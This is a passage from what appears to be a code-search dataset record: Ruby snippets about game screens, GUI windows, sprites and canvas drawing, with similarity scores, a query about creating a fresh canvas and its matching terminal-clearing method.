"def victory_screen\n system 'clear'\n 'GAME OVER'\n Catpix::print_image \"victory_screen.jpg\",\n :limit_x => 1.0,\n :limit_y => 0,\n :center_x => true,\n :center_y => true,\n :bg => \"white\",\n :bg_fill => true\n abort(\"See you next time.\".red)\nend",
"def initialize(win, game, uiManager, backAction)\n super(win,\"/../../../Assets/Backgrounds/fond-naturel.png\")\n\n screen=Gdk::Screen.default\n pathAssets=File.dirname(__FILE__) + \"/../../../Assets/\"\n\n menuTitle=Titre.new(label:\"Victoire\", width:screen.width*0.2, height:screen.height*0.05)\n chronoText=Text.new(label:\"Votre temps :\", width:screen.width*0.2, height:screen.height*0.05)\n chronoText.setBackgroundSize(screen.width*0.2,screen.height*0.05)\n chronoText.setBackground(1,1,1,1)\n chronoUi=ChronoUi.new(game.getTimer)\n\n menuButton=Button.new(label: \"Retour à la selection\", width: screen.width*0.1,height: screen.height*0.08, size: 20)\n menuButton.onClick(){\n backAction.call\n }\n\n replayButton=Button.new(image:pathAssets + \"Button/replay.png\", width: screen.width*0.1,height: screen.height*0.08)\n replayButton.resizeImage(40,40)\n replayButton.onClick(){\n game.restart\n gameScreen = GameScreen.new(win,game,uiManager, backAction)\n gameScreen.applyOn(win)\n }\n\n\n chronoBox = Gtk::Box.new(:horizontal)\n chronoBox.pack_start(chronoText.gtkObject, expand: true, fill: false, padding: 20)\n chronoBox.pack_start(chronoUi.gtkObject, expand: true, fill: false, padding: 20)\n\n buttonBox = Gtk::Box.new(:horizontal)\n buttonBox.pack_start(menuButton.gtkObject, expand: true, fill: false, padding: 0)\n buttonBox.pack_start(replayButton.gtkObject, expand: true, fill: false, padding: 0)\n\n globalBox = Gtk::Box.new(:vertical)\n globalBox.pack_start(menuTitle.gtkObject, expand: true, fill: false, padding: 10)\n globalBox.pack_start(chronoBox, expand: true, fill: false, padding: 10)\n globalBox.pack_start(buttonBox, expand: true, fill: false, padding: 10)\n\n @gtkObject = Gtk::Table.new(4,4)\n @gtkObject.attach(globalBox,0,4,0,4)\n @gtkObject.attach(Gtk::Image.new(pixbuf: @buffer),0,4,0,4)\n\n end",
"def main_window ; end",
"def tick_initialize\n initialize_tiles\n loading_label = {\n x: 640,\n y: 400,\n text: \"Reticulating Splines...\",\n size_enum: 0,\n alignment_enum: 1,\n r: 255,\n g: 255,\n b: 255,\n a: 255\n }\n @args.outputs.background_color = [0, 0, 0]\n @args.outputs.labels << loading_label\n @args.outputs.solids << { x: 320, y: 300, w: 640 * initialization_percent, h: 50, r: 0, g: 255, b: 0, a: 255 }\n @args.outputs.borders << { x: 320, y: 300, w: 640, h: 50, r: 255, g: 255, b: 255, a: 255 }\n end",
"def welcome\n clear\n ascii_heading(\"The Bakers Box\")\n box_margin = ((TTY::Screen.width)-(\"Welcome to The Bakers Box\".length)-6)/2\n box = TTY::Box.frame padding: 3, align: :center, left: box_margin, top: 6 do\n \"Welcome to The Bakers Box\\n\\nThe percentage based\\nRecipe management app\"\n end\n print box\n space\nend",
"def reboot\n img = ['blue_flower', 'red_flower', 'white_flower', 'pink_flower'].sample\n @image = Gosu::Image.new window, 'images/flowers/' + img +'.png', true\n @drawing = true\n end",
"def create_mission_window\n @mission_window = Window_Mission.new(0, 0)\n @mission_window.y = Graphics.height - @mission_window.height\n end",
"def setup\n\t\tsize(1800,900) ; background(20) ; frame_rate 30 #JR\n\t\t# size(1400,850) ; background(20) ; frame_rate 30\n\t\t@w, @h = [width,height].map{|i|i/2.0} ; @i = 0\n \t@m = [235,18,85]\n\n \ttext_font create_font(\"SanSerif\",25) ; stroke(200,200,200)\n \t# @img = loadImage(\"/Users/Jon/Desktop/craigslist_map2.jpg\")\n \t@img = loadImage(\"/Users/Jon/Desktop/full_santa_fe.png\")\n\tend",
"def create_bs_window\n @blacksmith_window = Window_ForgeBlacksmith.new(0, 0, Graphics.width - 160)\n end",
"def create_new_sprite\n @item_window.take\n sprite = Forged_Sprite.new(@viewport)\n sprite.bitmap = @bitmap\n sprite.x = @item_window.x + @item_window.padding\n sprite.y = @item_window.y + @item_window.padding\n sprite.flash(Color::WHITE, 10)\n sprite.spark_active = true\n @sprites.push(sprite)\n end",
"def create_loading_bar\n @loading_bar = Loading_Bar.new(@x, @y, 60, @viewport)\n end",
"def initialize(win, game, uiManager)\n super(win,\"/../../../Assets/Backgrounds/fond-naturel.png\")\n\n @nicknameInput = false\n @game = game\n @uiManager = uiManager\n\n screen=Gdk::Screen.default\n pathAssets=File.dirname(__FILE__) + \"/../../../Assets/\"\n\n menuTitle=Titre.new(label:\"Victoire\", width:screen.width*0.2, height:screen.height*0.05)\n\n # Nickname input\n @entry = Gtk::Entry.new\n @entry.set_placeholder_text(\"Saisir votre pseudo\")\n @entry.set_max_length(7)\n\n # Nickname validation\n nicknameValidateBtn = Button.new(image: pathAssets + \"Button/validate.png\", width: screen.height * 0.1, height: screen.height * 0.1, padding: 0)\n nicknameValidateBtn.resizeImage(screen.height * 0.1, screen.height * 0.1)\n nicknameValidateBtn.onClick(){\n saveNickname(uiManager.rankedLevel)\n }\n\n #creation du texte avant la zone d'affichage du chrono\n chronoText=Text.new(label:\"Votre temps :\", width:screen.width*0.2, height:screen.height*0.05)\n chronoText.setBackgroundSize(screen.width*0.2,screen.height*0.05)\n chronoText.setBackground(1,1,1,1)\n #creation de la zone d'affichage du chrono\n @chronoUi=ChronoUi.new(game.getTimer)\n # chronoZone=Text.new(width:screen.width*0.2, height:screen.height*0.05)\n\n #creation du bouton menuPrincipal\n menuButton=Button.new(image:pathAssets + \"Button/menu.png\", width: screen.width*0.1,height: screen.height*0.08)\n menuButton.resizeImage(40,40)\n menuButton.onClick(){\n if(@nicknameInput)\n #aller au menu principal\n uiManager.rankScreen.applyOn(win)\n uiManager.victoryScreenType = :normal\n end\n }\n\n #creation du bouton recommencer\n replayButton=Button.new(image:pathAssets + \"Button/replay.png\", width: screen.width*0.1,height: screen.height*0.08)\n replayButton.resizeImage(40,40)\n replayButton.onClick(){\n if(@nicknameInput)\n #recharger le niveau sur lequel on etait\n game.restart\n gameScreen = GameScreen.new(win,game,uiManager, lambda { uiManager.rankScreen.applyOn(win) },)\n gameScreen.applyOn(win)\n end\n }\n\n\n nicknameInputBox = Gtk::Grid.new\n nicknameInputBox.set_halign(Gtk::Align::CENTER)\n nicknameInputBox.attach(@entry, 0, 0, 3, 1)\n nicknameInputBox.attach(nicknameValidateBtn.gtkObject, 3, 0, 1, 1)\n\n chronoBox = Gtk::Box.new(:horizontal)\n chronoBox.pack_start(chronoText.gtkObject, expand: true, fill: false, padding: 20)\n chronoBox.pack_start(@chronoUi.gtkObject, expand: true, fill: false, padding: 20)\n\n buttonBox = Gtk::Box.new(:horizontal)\n buttonBox.pack_start(menuButton.gtkObject, expand: true, fill: false, padding: 0)\n buttonBox.pack_start(replayButton.gtkObject, expand: true, fill: false, padding: 0)\n\n globalBox = Gtk::Box.new(:vertical)\n globalBox.pack_start(menuTitle.gtkObject, expand: true, fill: false, padding: 10)\n globalBox.pack_start(nicknameInputBox, expand: false, fill: false, padding: 10)\n globalBox.pack_start(chronoBox, expand: true, fill: false, padding: 10)\n globalBox.pack_start(buttonBox, expand: true, fill: false, padding: 10)\n\n @gtkObject = Gtk::Table.new(4,4)\n @gtkObject.attach(globalBox,0,4,0,4)\n @gtkObject.attach(Gtk::Image.new(pixbuf: @buffer),0,4,0,4)\n\n end",
"def make_installer\n gtkv = APP['GTK']== 'gtk+-3.0' ? '3' : '2'\n arch = 'armhf'\n appname = \"#{APP['name'].downcase}\"\n rlname = \"#{appname}-#{APP['VERSION']}-gtk#{gtkv}-#{arch}\"\n #puts \"Creating Pkg for #{rlname}\"\n rm_r \"pkg/#{rlname}\" if File.exists? \"pkg/#{rlname}\"\n cp_r \"VERSION.txt\", \"#{TGT_DIR}\"\n mkdir_p \"pkg/#{rlname}\"\n sh \"cp -r #{TGT_DIR}/* pkg/#{rlname}\"\n Dir.chdir \"pkg/#{rlname}\" do\n make_desktop \n make_uninstall_script\n make_install_script\n make_smaller unless ENV['GDB']\n end\n Dir.chdir \"pkg\" do\n puts `pwd`\n sh \"makeself #{rlname} #{rlname}.install #{appname} \\\n./shoes-install.sh \"\n end\n end",
"def main_sprite\r\n super\r\n # Make title graphic\r\n @sprite = Sprite.new\r\n @sprite.bitmap = RPG::Cache.title($data_system.title_name)\r\n end",
"def create_background_sprite\n # create background sprite\n @background = Sprite.new(@v)\n create_background_bitmap\n end",
"def splash\n @logged_in_user = User.find_by :id => session[:user_id]\n end"
] | [
"0.74522036",
"0.7400914",
"0.73734385",
"0.7195702",
"0.70641184",
"0.68864214",
"0.6719047",
"0.66990846",
"0.66406673",
"0.6425671",
"0.62789845",
"0.6159664",
"0.6134156",
"0.6069183",
"0.60490006",
"0.5876578",
"0.57983047",
"0.5781068",
"0.5745225",
"0.5740454",
"0.5727838",
"0.57116044",
"0.5682248",
"0.5667385",
"0.56563365",
"0.56563365",
"0.5656161",
"0.5656161",
"0.56468207",
"0.5632142",
"0.557752",
"0.5562094",
"0.55592394",
"0.55471903",
"0.55304646",
"0.5507825",
"0.55069226",
"0.5478545",
"0.5477224",
"0.5477224",
"0.5473133",
"0.54651845",
"0.5440646",
"0.5417685",
"0.538177",
"0.53712845",
"0.5369094",
"0.53380966",
"0.5315461",
"0.5293971",
"0.5268142",
"0.5247024",
"0.5243851",
"0.51892996",
"0.51761985",
"0.5163183",
"0.51566887",
"0.5130038",
"0.5123156",
"0.5097651",
"0.50952655",
"0.5082363",
"0.5065656",
"0.5051203",
"0.5046036",
"0.5041941",
"0.5022968",
"0.50220567",
"0.5018162",
"0.50080234",
"0.5007229",
"0.49960792",
"0.4995789",
"0.49937624",
"0.49864495",
"0.49774104",
"0.49611387",
"0.49593896",
"0.49509555",
"0.4946387",
"0.49375078",
"0.49368036",
"0.49330607",
"0.49168274",
"0.49130416",
"0.49104127",
"0.4907356",
"0.49057817",
"0.4903819",
"0.49008304",
"0.48998654",
"0.48901546",
"0.48866472",
"0.48810646",
"0.4874972",
"0.48662516",
"0.4855275",
"0.48533696",
"0.48500967",
"0.48496902"
] | 0.7615542 | 0 |
use this method to create a fresh canvas | def clearScreen
puts "\e[H\e[2J"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def newCanvas\n @layerArray = Array.new #Reset the layer array\n @imageArray = Array.new #Reset the image array\n @dirtyArray = Array.new #Reset the dirty array\n @activeIndex = 0 #Reset the active index\n @exportImage = FXPNGImage.new(@parentApp, nil, @canvasWidth, @canvasHeight)\n @exportImage.create #initializes the image object.\n @exportImage.resize(@canvasWidth, @canvasHeight) #Sets the image to match canvas width and height\n createImage() #Push a blank image data.\n @activeImage = @imageArray[@activeIndex] #Update active index to default.\n @canvas.update #Update the draw canvas to reflect changes.\n end",
"def create\n # byebug\n @canvas = Canvas.create(canvas_params)\n end",
"def begin_canvas\n if @width && @height\n @surface = ::Cairo::ImageSurface.new(::Cairo::FORMAT_ARGB32, @width, @height)\n else\n @surface = ::Cairo::ImageSurface.from_png(@file)\n end\n bind_context\n end",
"def init_canvas(spawn_factor)\n $canvas = Array.new($height) { Array.new($width) { Random.new.rand(1...100) < spawn_factor ? 1 : 0 } }\nend",
"def canvas\n @canvas ||= VectorSalad::Canvas.new\n end",
"def canvas\n @canvas\n end",
"def _prepare_canvas(t, canvas)\n canvas.xc @color[t].to_imagemagick\n end",
"def create_graphics\n create_viewport\n create_background\n create_buttons\n init_entering\n end",
"def initialize(width, height, &block)\n raise ArgumentError, \"give me a block, pretty please\" unless block_given?\n \n @width, @height = Integer(width), Integer(height)\n @canvas = SmartImage::Canvas.new @width, @height\n \n yield self\n @canvas.destroy\n @canvas = DeadCanvas.new\n end",
"def create_graphics\n create_viewport\n create_base\n create_ui\n end",
"def create\n for i in 1 .. (@canvas_height - 1) do\n @buffer.append(i, \" \" * (@canvas_width - 1))\n end\n end",
"def updateCanvas\n canvas.update\n end",
"def read_canvas\n @surface = ::Cairo::ImageSurface.from_png(@file)\n bind_context\n end",
"def resizeCanvas(w,h)\n puts(\"resizing canvas\")\n puts(w,h)\n @canvasHeight = h #Set the canvas height\n @canvasWidth = w #Set the canvas width\n @canvas.resize(w,h)\n @exportImage = FXPNGImage.new(@parentApp, nil, @canvasWidth, @canvasHeight)\n @exportImage.create #initializes the image object.\n @exportImage.resize(@canvasWidth, @canvasHeight) #Sets the image to match canvas width and height\n @layerArray = Array.new #Reset the layer array\n @imageArray = Array.new #Reset the image array\n @dirtyArray = Array.new #Reset the dirty array\n @activeIndex = 0 #Reset the active index\n createImage() #Push a blank image data.\n @activeImage = @imageArray[@activeIndex] #Update active index to default.\n @canvas.update #Update the draw canvas to reflect changes.\n end",
"def initialize( tkCanvas, x0, y0, x1, y1, uonEditor)\n\t\tsuper( tkCanvas, x0, y0, x1, y1, :outline => 'black', :width => '2')\n init( tkCanvas, x0, y0, x1, y1, uonEditor, \"white\")\n\tend",
"def draw # :yields: canvas\n yield Canvas.new(self)\n self\n end",
"def create_graphics\n create_viewport\n end",
"def create_graphics\n create_viewport\n create_base_ui\n create_credit_payout\n create_bands\n end",
"def onCanvasPaint(sender, sel, event)\r\n dc = FXDCWindow.new(@canvas_disp, event)\r\n dc.foreground = @canvas_disp.backColor\r\n dc.fillRectangle(0, 0, @canvas_disp.width, @canvas_disp.height)\r\n @cards_todisp.each do |v|\r\n dc.drawImage(v.image, v.pos_x, v.pos_y)\r\n end\r\n end",
"def blank_screen\n self.bitmap = Bitmap.new(self.viewport.width, self.viewport.height)\n end",
"def draw_new\n\t @board=Array.new(@y) {Array.new(@x){'*'}}\n\t \n end",
"def clear\n @bitmap = solid_canvas(DEFAULT_COLOR)\n end",
"def set_board\n @canvas = GameCanvas.new\n @board = Board.new(self)\n @canvas.place(@board.block_size * @board.num_rows,\n @board.block_size * @board.num_columns, 10, 10)\n @board.draw\n end",
"def init_variables\n\t\t@canvas = Magick::ImageList.new \n\t\t@canvas_width = 2880\n\t\t@canvas_height = 1800\n\t\t@quote = self.quote\n\t\t@citation = self.citation\n\t\t@highlight = self.colour_scheme.highlight\n\t\t@quote_marks = self.layout_scheme.quote_marks \n\t\t@font_size = self.layout_scheme.font_size.to_i\n\t\t@col = self.layout_scheme.col.to_i\n\t\t@position = self.layout_scheme.position\n\t\t@underline = self.layout_scheme.underline\n\tend",
"def create_graphics\n create_character_sprite\n create_phrase\n create_inputs\n refresh_chars\n end",
"def create_graphic\n y = @enchant_list.bottom_corner\n h = Graphics.height - y - @enchant_window.height\n @graphic = GraphicUnifier.new(0, y, Graphics.width, h)\n @graphic.viewport = @viewport2\n @enchant_window.graphic = @graphic\n @enchant_window.scroll = @enchant_list.item\n end",
"def canvasFreindFunction(canvasRef)\n @canvasRefrance = canvasRef\n #setDimensions\n end",
"def reset\n @victory = false\n @win = false\n drawFromPixmap\n end",
"def create_graphics\n create_viewport\n @all_window = UI::SpriteStack.new(@viewport)\n create_background\n create_windows\n @all_window.each { |window| window.visible = false } if @delete_game\n @max_index = @all_window.size - 1\n Graphics.sort_z\n refresh\n end",
"def create_graphics\n super\n draw_wanted_data\n end",
"def initialize(canvas, x, y, width, height, color)\n super(canvas, x, y, width, height)\n @canvas_obj = TkcRectangle.new(canvas, x, y, x + width, y + height,\n 'fill' => color)\n canvas.lower(@canvas_obj)\n @passed = false\n end",
"def remake_window\n self.width = window_width\n self.height = window_height\n create_contents\n end",
"def draw_board_window\n heightpx = @board.height*@scale\n widthpx = @board.width*@scale\n TkCanvas.new(@root, bg: \"#ffffff\", height: heightpx, width: widthpx) { grid(row: 1, column: 1) }\n end",
"def create_graphics\n create_viewport\n create_base_ui\n create_pocket_ui\n create_scroll_bar\n create_bag_sprite\n create_item_list\n create_arrow\n create_info\n create_shadow\n create_search\n create_frame # Should always be last\n end",
"def create\n @batch = com.badlogic.gdx.graphics.g2d.SpriteBatch.new\n @font = com.badlogic.gdx.graphics.g2d.BitmapFont.new\n @shape = com.badlogic.gdx.graphics.glutils.ShapeRenderer.new\n end",
"def initialize(x=3,y=3)\n @x=x\n @y=y \n\tdraw_new\n end",
"def example_canvas (options={}, &block)\n\t\t\tbase_options = DefaultOptions.merge(options)\n\t\t\t\n\t\t\t# ensure equal randomness\n\t\t\tbase_seed = srand()\n\t\t\t['.png','.pdf'].each do |ext|\n\t\t\t\texample_canvas_internal({:base_seed => base_seed, :extension => ext, :canvas_options => base_options}, &block).save\n\t\t\tend\n\t\t\t%x[open \"#{ExampleHelper.output_dir}\"]\n\t\tend",
"def initialize(p, opts, x, y, width, height, padLeft, padRight, padTop, padBottom, app)\n \n @parentApp = app #Stores the parent app for the initialization of image data later in the code.\n \n @drawColor = FXRGB(255, 0, 0) #variable that stores the active draw color\n @mouseDown = false #checks if mouse is depressed\n #@dirty = false #Checks if canvas has data in it\n @brushSize = 1 #stores the active brush size\n @parent = p #stores the parent app for object initialization\n @canvasWidth = width #stores the current canvas width\n @canvasHeight = height #stores the current canvas height\n \n @layerArray = Array.new #stores hide/show state of each layer.\n @imageArray = Array.new #stores the image data of each layer.\n @dirtyArray = Array.new #stores the dirty status of each layer.\n @activeIndex = 0\n \n @saved = false #Checks if the image has been saved.\n @savePath = \"\" #Stores the image save path\n\n #The horitzontal frame that stores the verticle frame. \n @parentFrame = FXHorizontalFrame.new(p, opts, x, y, width, height, \n padLeft, padRight, padTop, padBottom)\n \n #Canvas Frame is the vertical frame that stores the canvas.\n @canvas_frame = FXVerticalFrame.new(@parentFrame,FRAME_SUNKEN|LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_TOP|LAYOUT_LEFT, \n 0, 0, 0, 0, 0, 0, 0, 0) \n \n #exportImage stores the image data that is saved.\n @exportImage = FXPNGImage.new(app, nil, @canvasWidth, @canvasHeight)\n \n @exportImage.create #initializes the image object.\n @exportImage.resize(@canvasWidth, @canvasHeight) #Sizes the image to match canvas width and height\n \n #Stores the image that is in the active layer.\n createImage() #Calls the createImage method. \n @activeImage = @imageArray[@activeIndex] #Sets the active image to the image stored in the first index of the imageArray\n \n \n #canvas stores the canvas object that is draw on.\n @canvas = FXCanvas.new(@canvas_frame, nil, 0, LAYOUT_FIX_WIDTH|LAYOUT_FIX_HEIGHT|LAYOUT_TOP|LAYOUT_LEFT, 0, 0, width, height) \n \n #On creation, connect to the SEL_Paint handler. Every time the canvas changes, the canvas is repainted.\n @canvas.connect(SEL_PAINT, method(:onCanvasRepaint))\n \n @canvas.resize(@canvasWidth, @canvasHeight) #Sets the canvas to the default width and height.\n \n #Event handler that checks for left mouse button depression. \n @canvas.connect(SEL_LEFTBUTTONPRESS) do |sender, sel, event|\n \n @canvas.grab #grabs the canvas. Windows stores mouse data when mouse is inside canvas.\n @mouseDown = true #The mouse is depressed. Set mouseDown to true.\n \n #Get device context for the canvas\n dc = FXDCWindow.new(@activeImage)\n\n # Set the foreground color for drawing\n dc.foreground = @drawColor\n #dc.fillRectangle(event.win_x, event.win_y, 2, 2)\n \n #Defines draw alogrithms for a single click or \"Point edit\" on the canvas. \n if @mouseDown #make sure mouse is down.\n if @brushSize == 1 || @brushSize == 2 || @brushSize == 3 #If any of the square draw brushes \n dc.drawLine(event.last_x, event.last_y, event.win_x, event.win_y) #draw a line from the x,y coordinate of mouse depression to latest x,y coordinate.\n end\n if @brushSize == 2 #If brush two...\n \n i=0\n while i < 10 #Draw a series of lines within a 10X10 pixel square onto canvas.\n dc.drawLine(event.last_x+i, event.last_y, event.win_x+i, event.win_y)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x, event.win_y)\n dc.drawLine(event.last_x, event.last_y, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y, event.win_x, event.win_y+i)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x+i, event.win_y)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x+i, event.win_y)\n i += 1\n end\n end\n \n if @brushSize == 3 || @brushSize == 5 #Draw a series of lines within a 30X30 pixel square onto canvas.\n i=0\n while i < 30\n dc.drawLine(event.last_x+i, event.last_y, event.win_x+i, event.win_y)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x, event.win_y)\n dc.drawLine(event.last_x, event.last_y, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y, event.win_x, event.win_y+i)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x+i, event.win_y)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x+i, event.win_y)\n i += 1\n end\n end\n if @brushSize == 4 #Paint bucket fills the entire canvas with current draw color.\n dc.foreground = @drawColor\n dc.fillRectangle(event.rect.x, event.rect.y, event.rect.w + @canvas.width, event.rect.h + @canvas.height)\n end\n if @brushSize == 6 #Draws a white line of size 10X10 over any draw data.(Eraser handler)\n i=0\n while i < 10\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x+i, event.win_y+i)\n i += 1\n end\n end\n\n \n @dirtyArray[@activeIndex] = true # Since there is draw data in the active image, set the image's dirty value to true.\n @canvas.update #Redraw the canvas to display the image data changes onto the canvas.\n # Release the DC immediately\n dc.end\n end\n end\n \n @canvas.connect(SEL_MOTION) do |sender, sel, event| #On mouse motion.\n if @mouseDown\n # Get device context for the canvas\n dc = FXDCWindow.new(@activeImage)\n\n # Set the foreground color for drawing\n dc.foreground = @drawColor\n \n \n #While there is mouse motion, continue to repeat the same draw algorithms as for single points\n if @brushSize == 1 || @brushSize == 2 || @brushSize == 3\n dc.drawLine(event.last_x, event.last_y, event.win_x, event.win_y)\n end\n if @brushSize == 2\n \n i=0\n while i < 10\n dc.drawLine(event.last_x+i, event.last_y, event.win_x+i, event.win_y)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x, event.win_y)\n dc.drawLine(event.last_x, event.last_y, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y, event.win_x, event.win_y+i)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x+i, event.win_y)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x+i, event.win_y)\n i += 1\n end\n end\n if @brushSize == 3 || @brushSize == 5\n i=0\n while i < 30\n dc.drawLine(event.last_x+i, event.last_y, event.win_x+i, event.win_y)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x, event.win_y)\n dc.drawLine(event.last_x, event.last_y, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y, event.win_x, event.win_y+i)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x+i, event.win_y)\n dc.drawLine(event.last_x, event.last_y+i, event.win_x+i, event.win_y+i)\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x+i, event.win_y)\n i += 1\n end\n end\n if @brushSize == 4\n dc.foreground = @drawColor\n dc.fillRectangle(event.rect.x, event.rect.y, event.rect.w + @canvas.width, event.rect.h + @canvas.height)\n end\n if @brushSize == 6\n i=0\n while i < 10\n dc.drawLine(event.last_x+i, event.last_y+i, event.win_x+i, event.win_y+i)\n i += 1\n end\n end\n\n # We have drawn something, so now the canvas is dirty\n @dirtyArray[@activeIndex] = true\n @canvas.update\n # Release the DC immediately\n dc.end\n end\n end\n \n @canvas.connect(SEL_LEFTBUTTONRELEASE) do |sender, sel, event| #On left mouse release\n @canvas.ungrab #Remove canvas device draw context\n @mouseDown = false #Set mouse down to false\n @canvas.update #Redraw the canvas to reflect changes in image data\n end\n end",
"def draw(root)\n end",
"def refresh\n generate_part_rects\n generate_buffers\n self\n end",
"def create_graphics\n create_viewport\n create_base_ui\n create_sub_background\n create_trainer_sprite\n create_badge_sprites\n create_texts\n end",
"def draw\n @square = Square.new(x: @x, y: @y, size: @size, color: @color)\nend",
"def create_dummy_window\n wy = @command_window.y + @command_window.height\n wh = Graphics.height - wy\n @dummy_window = Window_Base.new(0, wy, Graphics.width, wh)\n @dummy_window.viewport = @viewport\n @dummy_window.hide\n end",
"def create_screenshot_graphic\n @screenshot_loaded = false\n @screenshot = Sprite.new(@viewport)\n @screenshot.opacity = 0\n end",
"def create_graphics\n create_viewport\n create_spriteset_and_background\n create_action_sprites(@viewport.rect.width / 2)\n create_selection\n end",
"def setup(canvas, document)\n @canvas = canvas\n @document = document\n end",
"def initialize(options={}, &block)\n if options[:size]\n options[:width] = options[:size][0]\n options[:height] = options[:size][1]\n end\n options = DefaultOptions.merge(options)\n\n @width = options[:width]\n @height = options[:height]\n @output = options[:filename] || 'test'\n @stacksize = 0\n @colorspace = CGColorSpaceCreateDeviceRGB() # => CGColorSpaceRef\n @autoclosepath = false\n\n case options[:type]\n when :pdf\n @filetype = :pdf\n # CREATE A PDF DRAWING CONTEXT\n # url = NSURL.fileURLWithPath(image)\n url = CFURLCreateFromFileSystemRepresentation(nil, @output, @output.length, false)\n pdfrect = CGRect.new(CGPoint.new(0, 0), CGSize.new(width, height)) # Landscape\n #@ctx = CGPDFContextCreateWithURL(url, pdfrect, nil)\n consumer = CGDataConsumerCreateWithURL(url);\n pdfcontext = CGPDFContextCreate(consumer, pdfrect, nil);\n CGPDFContextBeginPage(pdfcontext, nil)\n @ctx = pdfcontext\n when :image, :render\n # CREATE A BITMAP DRAWING CONTEXT\n @filetype = File.extname(@output).downcase[1..-1].intern if options[:type] == :image\n\n @bits_per_component = 8\n @colorspace = CGColorSpaceCreateDeviceRGB() # => CGColorSpaceRef\n #alpha = KCGImageAlphaNoneSkipFirst # opaque background\n alpha = KCGImageAlphaPremultipliedFirst # transparent background\n\n # 8 integer bits/component; 32 bits/pixel; 3-component colorspace; kCGImageAlphaPremultipliedFirst; 57141 bytes/row.\n bytes = @bits_per_component * 4 * @width.ceil\n @ctx = CGBitmapContextCreate(nil, @width, @height, @bits_per_component, bytes, @colorspace, alpha) # => CGContextRef\n when :context\n @ctx = options[:context]\n else\n raise \"ERROR: output file type #{ext} not recognized\"\n end\n\n # antialiasing\n CGContextSetAllowsAntialiasing(@ctx, true)\n\n # set defaults\n fill # set the default fill\n nostroke # no stroke by default\n strokewidth # set the default stroke width\n font # set the default font\n antialias # set the default antialias state\n autoclosepath # set the autoclosepath default\n quality(options[:quality]) # set the compression default\n push # save the pristine default default graphics state (retrieved by calling \"reset\")\n push # create a new graphics state for the user to mess up\n if block_given?\n case block.arity\n when 0\n send(:instance_eval, &block)\n else\n block.call(self)\n end\n end\n end",
"def to_canvas(opts={})\n with_options opts do\n canvas = PNG::Canvas.new(full_width, full_height, PNG::Color::White)\n\n if barcode.two_dimensional?\n x, y = margin, margin\n booleans.reverse_each do |line|\n line.each do |bar|\n if bar\n x.upto(x+(xdim-1)) do |xx|\n y.upto y+(ydim-1) do |yy|\n canvas[xx,yy] = PNG::Color::Black\n end\n end\n end\n x += xdim\n end\n y += ydim\n x = margin\n end\n else\n x, y = margin, margin\n booleans.each do |bar|\n if bar\n x.upto(x+(xdim-1)) do |xx|\n y.upto y+(height-1) do |yy|\n canvas[xx,yy] = PNG::Color::Black\n end\n end\n end\n x += xdim\n end\n end\n\n canvas\n end\n end",
"def initialize\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: ####### call super from initialize (CanvasESB)\"\n super()\n @ctools_hash = Hash.new()\n end",
"def draw\n end",
"def draw\n end",
"def draw\n end",
"def initialize()\n @drawingArray = []\n @currentIndex = 0\n end",
"def draw\n end",
"def render\n a = @drawing_area.allocation\n draw(@drawing_area.window.create_cairo_context, a.width, a.height)\n end",
"def create_shape\n id = rand 7\n @cur_y = 0\n @cur_x = 5\n @shape = SHAPES[id].dup\n end",
"def create_graphics\n create_viewport\n create_background\n create_pokemon_sprite\n create_egg_sprite\n end",
"def draw\n\t\tend",
"def initialize(param = {})\n super(param) ;\n\n @drawMutex = Mutex::new() ;\n @drawMutex.synchronize(){\n setupWindow(param) ;\n @exitWhenQuit = true ;\n }\n\n end",
"def create_background\n @background = Window.new(@viewport, @x, @y, @width, @height, skin: @skin)\n end",
"def draw\n\t\t# Complete the missing code\n\t\tdraw_background()\n\tend",
"def create_frame\n @frame = Sprite.new(@viewport)\n end",
"def draw; end",
"def draw; end",
"def create_new_sprite\n @item_window.take\n sprite = Forged_Sprite.new(@viewport)\n sprite.bitmap = @bitmap\n sprite.x = @item_window.x + @item_window.padding\n sprite.y = @item_window.y + @item_window.padding\n sprite.flash(Color::WHITE, 10)\n sprite.spark_active = true\n @sprites.push(sprite)\n end",
"def clear_board\n FXDCWindow.new(@image) do |dc|\n dc.foreground = BACK_COLOR\n dc.fillRectangle(0, 0, IMG_WIDTH, IMG_HEIGHT)\n end\n board_draw\n end",
